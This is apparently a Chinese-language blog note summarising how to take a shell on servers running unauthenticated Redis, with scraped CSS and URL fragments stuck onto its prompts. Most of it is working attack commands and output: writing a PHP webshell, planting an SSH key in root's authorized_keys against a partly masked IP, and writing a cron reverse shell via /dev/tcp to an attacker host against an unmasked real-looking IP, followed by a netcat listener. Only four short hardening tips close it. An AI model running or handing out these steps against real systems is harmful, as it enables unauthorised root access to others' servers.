<!–
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Helvetica Neue’; color: #454545}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘Helvetica Neue’; color: #454545; min-height: 14.0px}
p.p3 {margin: 0.0px 0.0px 0.0px 0.0px; font: 12.0px ‘.PingFang SC’; color: #454545}
span.s1 {font: 12.0px ‘.PingFang SC’}
span.s2 {font: 12.0px ‘Helvetica Neue’}
span.s3 {color: #e4af0a}
span.s4 {text-decoration: underline ; color: #e4af0a}
span.s5 {font: 12.0px ‘Helvetica Neue’; text-decoration: underline ; color: #e4af0a}
–>
总结一下redis未授权拿shell:
redis-cli -h ip
>info 查看系统类型
Windows：
1.找网站绝对路径
2.config set dir 绝对路径根路径
config get dir
config set dbfilename indexbak.php
set webshell “<?php phpinfo();?>”
save
Linux系统：
第一种：写密钥
第二种：写crotab反弹shell
第三种：找绝对路径写webshell
1）本地生成秘钥
https://www.shuzhiduo.com/A/LPdoA07OJ3/root@GanDolf:~# ssh-keygen -t rsa
2）将公钥写入一个文件
https://www.shuzhiduo.com/A/LPdoA07OJ3/root@GanDolf:~# cd /root/.ssh/
https://www.shuzhiduo.com/A/LPdoA07OJ3/root@GanDolf:~/.ssh# (echo -e “\n\n”; cat id_rsa.pub; echo -e “\n\n”) > foo.txt
3）连接redis写入文件https://www.shuzhiduo.com/A/LPdoA07OJ3/root@GanDolf:~/.ssh# cat foo.txt | redis-cli -h 210.73.90.xxx -x set crackit
OK
https://www.shuzhiduo.com/A/LPdoA07OJ3/root@GanDolf:~/.ssh# redis-cli -h 210.73.90.xxx
210.73.90.xxx:6379> config set dir /root/.ssh/
OK
(1.39s)
210.73.90.xxx:6379> CONFIG GET dir
1) “dir”
2) “/root/.ssh”
210.73.90.xxx:6379> config set dbfilename “authorized_keys”
OK
(1.03s)
210.73.90.xxx:6379> SAVE
saOK
(1.40s)
210.73.90.xxx:6379> SAVE
OK
210.73.90.xxx:6379> exit
https://www.shuzhiduo.com/A/LPdoA07OJ3/root@GanDolf:~/.ssh# ssh
4）连接服务器
https://www.shuzhiduo.com/A/LPdoA07OJ3/root@GanDolf:~/.ssh# ssh -i id_rsa root@210.73.90.xxx
二、 利用方式不需要猜 web路径，写到cron里面
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"|redis-cli -h 42.121.237.23 -x set 1
redis-cli -h 42.121.237.23
42.121.237.23:6379> config set dir /var/spool/cron
OK
42.121.237.23:6379> config set dbfilename root
OK
42.121.237.23:6379> save
OK然后本机nc -lvv 2333
一会儿shell就弹回来了。
修复建议：
1）修改默认端口
2）监听本地端口
3）使用非root启动，否则出现漏洞1，直接拿到root权限
4）修改配置文件，禁用相关命令
